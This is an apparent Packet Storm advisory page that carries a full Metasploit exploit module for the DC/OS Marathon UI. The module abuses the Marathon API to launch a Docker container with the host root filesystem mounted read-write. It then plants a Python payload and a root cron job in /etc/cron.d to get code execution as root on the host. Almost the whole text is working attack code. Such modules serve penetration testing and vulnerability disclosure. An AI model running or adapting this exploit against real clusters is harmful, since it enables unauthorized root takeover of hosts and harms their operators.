DC/OS Marathon UI Docker Privilege Escalation

2017-06-07T00:00:00
ID PACKETSTORM:142840
Type packetstorm
Reporter Erik Daguerre
Modified 2017-06-07T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DC/OS Marathon UI Docker Exploit',  
'Description' => %q{  
Utilizing the DCOS Cluster's Marathon UI, an attacker can create  
a docker container with the '/' path mounted with read/write  
permissions on the host server that is running the docker container.  
As the docker container executes command as uid 0 it is honored  
by the host operating system allowing the attacker to edit/create  
files owed by root. This exploit abuses this to creates a cron job  
in the '/etc/cron.d/' path of the host server.  
  
*Notes: The docker image must be a valid docker image from  
hub.docker.com. Further more the docker container will only  
deploy if there are resources available in the DC/OS cluster.  
},  
'Author' => 'Erik Daguerre',  
'License' => MSF_LICENSE,  
'References' => [  
[ 'URL', 'https://warroom.securestate.com/dcos-marathon-compromise/'],  
],  
'Targets' => [  
[ 'Python', {  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON,  
'Payload' => {  
'Compat' => {  
'ConnectionType' => 'reverse noconn none tunnel'  
}  
}  
}  
]  
],  
'DefaultOptions' => { 'WfsDelay' => 75 },  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 03, 2017'))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'Post path to start docker', '/v2/apps' ]),  
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),  
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),  
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])  
])  
end  
  
def get_apps  
res = send_request_raw({  
'method' => 'GET',  
'uri' => target_uri.path  
})  
return unless res and res.code == 200  
  
# verify it is marathon ui, and is returning content-type json  
return unless res.headers.to_json.include? 'Marathon' and res.headers['Content-Type'].include? 'application/json'  
apps = JSON.parse(res.body)  
  
apps  
end  
  
def del_container(container_id)  
res = send_request_raw({  
'method' => 'DELETE',  
'uri' => normalize_uri(target_uri.path, container_id)  
})  
return unless res and res.code == 200  
  
res.code  
end  
  
def make_container_id  
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?  
  
rand_text_alpha_lower(8)  
end  
  
def make_cmd(mnt_path, cron_path, payload_path)  
vprint_status('Creating the docker container command')  
payload_data = nil  
echo_cron_path = mnt_path + cron_path  
echo_payload_path = mnt_path + payload_path  
  
cron_command = "python #{payload_path}"  
payload_data = payload.raw  
  
command = "echo \"#{payload_data}\" >> #{echo_payload_path}\n"  
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path}\n"  
command << "echo \"\" >> #{echo_cron_path}\n"  
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}\n"  
command << "sleep 120"  
  
command  
end  
  
def make_container(mnt_path, cron_path, payload_path, container_id)  
vprint_status('Setting container json request variables')  
container_data = {  
'cmd' => make_cmd(mnt_path, cron_path, payload_path),  
'cpus' => 1,  
'mem' => 128,  
'disk' => 0,  
'instances' => 1,  
'id' => container_id,  
'container' => {  
'docker' => {  
'image' => datastore['DOCKERIMAGE'],  
'network' => 'HOST',  
},  
'type' => 'DOCKER',  
'volumes' => [  
{  
'hostPath' => '/',  
'containerPath' => mnt_path,  
'mode' => 'RW'  
}  
],  
},  
'env' => {},  
'labels' => {}  
}  
  
container_data  
end  
  
def check  
return Exploit::CheckCode::Safe if get_apps.nil?  
  
Exploit::CheckCode::Appears  
end  
  
def exploit  
if get_apps.nil?  
fail_with(Failure::Unknown, 'Failed to connect to the targeturi')  
end  
# create required information to create json container information.  
cron_path = '/etc/cron.d/' + rand_text_alpha(8)  
payload_path = '/tmp/' + rand_text_alpha(8)  
mnt_path = '/mnt/' + rand_text_alpha(8)  
container_id = make_container_id()  
  
res = send_request_raw({  
'method' => 'POST',  
'uri' => target_uri.path,  
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json  
})  
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res and res.code == 201  
  
print_status('The docker container is created, waiting for it to deploy')  
register_files_for_cleanup(cron_path, payload_path)  
sleep_time = 5  
wait_time = datastore['WAIT_TIMEOUT']  
deleted_container = false  
print_status("Waiting up to #{wait_time} seconds for docker container to start")  
  
while wait_time > 0  
sleep(sleep_time)  
wait_time -= sleep_time  
apps_status = get_apps  
fail_with(Failure::Unknown, 'No apps returned') unless apps_status  
  
apps_status['apps'].each do |app|  
next if app['id'] != "/#{container_id}"  
  
if app['tasksRunning'] == 1  
print_status('The docker container is running, removing it')  
del_container(container_id)  
deleted_container = true  
wait_time = 0  
else  
vprint_status('The docker container is not yet running')  
end  
break  
end  
end  
  
# If the docker container does not deploy remove it and fail out.  
unless deleted_container  
del_container(container_id)  
fail_with(Failure::Unknown, "The docker container failed to start")  
end  
print_status('Waiting for the cron job to run, can take up to 60 seconds')  
end  
end  
`